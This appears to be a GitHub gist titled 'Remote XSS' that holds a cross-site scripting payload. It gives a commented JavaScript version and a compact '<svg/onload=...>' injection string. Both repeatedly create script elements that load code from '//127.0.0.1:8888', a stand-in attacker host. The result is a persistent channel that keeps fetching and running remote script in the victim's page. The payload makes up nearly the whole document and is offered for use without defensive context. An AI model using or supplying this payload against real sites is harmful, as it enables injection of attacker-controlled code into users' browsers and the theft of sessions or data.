Skip to content

Instantly share code, notes, and snippets.

@nuryslyrt
Forked from bl4de/XSS-payload.html
Created February 26, 2018 20:55
Show Gist options
  • Save nuryslyrt/13ec166a05d0dc519abe9817788281e1 to your computer and use it in GitHub Desktop.
Save nuryslyrt/13ec166a05d0dc519abe9817788281e1 to your computer and use it in GitHub Desktop.
Remote XSS
// clean JavaScript payload
// I'm using IIFE to run this via onload event handler (Immediately Invoked Function Expression)
(function(){
var d=document,s; // create first <script> element
s=d.createElement('script'); // and append it to body
d.body.appendChild(s);
setInterval(function(){
d.body.removeChild(s); // remove, then create again and get connection
s=d.createElement('script');
d.body.appendChild(s);
s.src="//127.0.0.1:8888";
d.body.appendChild(s);
},0);
}
)()
<svg/onload=(function(){d=document;s=d.createElement('script');d.body.appendChild(s);
setInterval(function(){d.body.removeChild(s);s=d.createElement('script');d.body.appendChild(s);
s.src="//127.0.0.1:8888";d.body.appendChild(s);},0);})()>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment